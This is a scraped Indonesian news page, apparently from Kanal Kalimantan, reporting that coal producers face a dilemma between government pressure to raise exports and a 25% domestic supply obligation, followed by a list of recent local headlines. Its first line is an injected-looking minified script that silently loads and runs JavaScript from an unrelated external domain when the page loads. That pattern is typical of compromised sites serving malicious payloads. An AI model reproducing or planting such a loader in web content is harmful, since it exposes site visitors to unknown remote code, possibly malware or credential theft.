(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

APBI: Ekspor Batu Bara Dilematis


Keinginan pemerintah agar ekspor batu bara digenjot menjadi dilema karena produsen terikat kewajiban pasokan minimal untuk dalam negeri sebesar 25%.

Ketua Umum Asosiasi Pertambangan Batubara Indonesia (APBI), Pandu Sjahrir mengatakan pemerintah sudah menginstruksikan agar para produsen batu bara bisa menambah porsi ekspornya sejak akhir tahun lalu. Hal tersebut bertujuan untuk memperbaiki neraca transaksi berjalan yang mengalami defisit cukup dalam.

Namun, para produsen memiliki kewajiban untuk memasok ke pasar dalam negeri atau domestic market obligation/DMO sebesar 25% dari produksi. Dengan demikian, apabila porsi ekspor ditambah, maka pasokan domestik pun harus ikut ditambah.

Yang menjadi masalah, kebutuhan batu bara di dalam negeri masih belum tinggi. Di sisi lain, apabila produsen batu bara tidak bisa memenuhi DMO minimal 25%, maka akan terkena sanksi pada tahun berikutnya.

“Disuruh genjot produksi sejak Desember tahun lalu, tapi urusan DMO gimana? Ini yang jadi susah,” katanya, baru-baru ini, seperti diwartakan tempo.co.id.

Seperti diketahui, Kementerian ESDM mempertahankan persentase kewajiban DMO tahun ini sebesar 25% dari produksi yang disetujui.

Berdasarkan Keputusan Menteri ESDM No. 78 K/30/MEM/2019, persentase minimal tersebut akan diwajibkan untuk para pemegang Perjanjian Karya Pengusahaan Pertambangan Batu Bara (PKP2B) dan Izin Usaha Pertambangan (IUP) yang telah memasuki tahap operasi produksi.

Bagi perusahaan yang tidak memenuhi persentase minimal DMO tersebut, akan dikenakan sanksi berupa pemotongan besaran produksi dalam rencana kerja dan anggaran biaya (RKAB) tahun depan. Menteri pun dapat menunjuk langsung produsen batu bara untuk memenuhi kebutuhan pengguna batu bara yang kesulitan mendapat pasokan.

Adapun keputusan yang ditetapkan pada 6 Mei 2019 tersebut berlaku surut sejak 1 Januari 2019. Dengan persentase sebesar 25%, maka kewajiban DMO tahun ini minimal 122,28 juta ton. Pasalnya, persetujuan produksi yang diberikan Kementerian ESDM tahun ini sebanyak 489,13 juta ton.

Sepanjang tahun lalu, realisasi DMO sebanyak 115 juta ton. Jumlah tersebut lebih rendah dari target sebanyak 121 juta ton. Meskipun begitu, Kementerian ESDM menyatakan realisasi DMO tersebut telah mencukupi kebutuhan dalam negeri. (tmp)

Reporter:Tmp
Editor:KK

Desy Arfianty

Recent Posts

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

3 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

6 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

9 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

9 jam ago

Donasi Palestina Pjs Wali Kota Banjarbaru di Stan Sekretariat DPRD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More

9 jam ago

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

10 jam ago

This website uses cookies.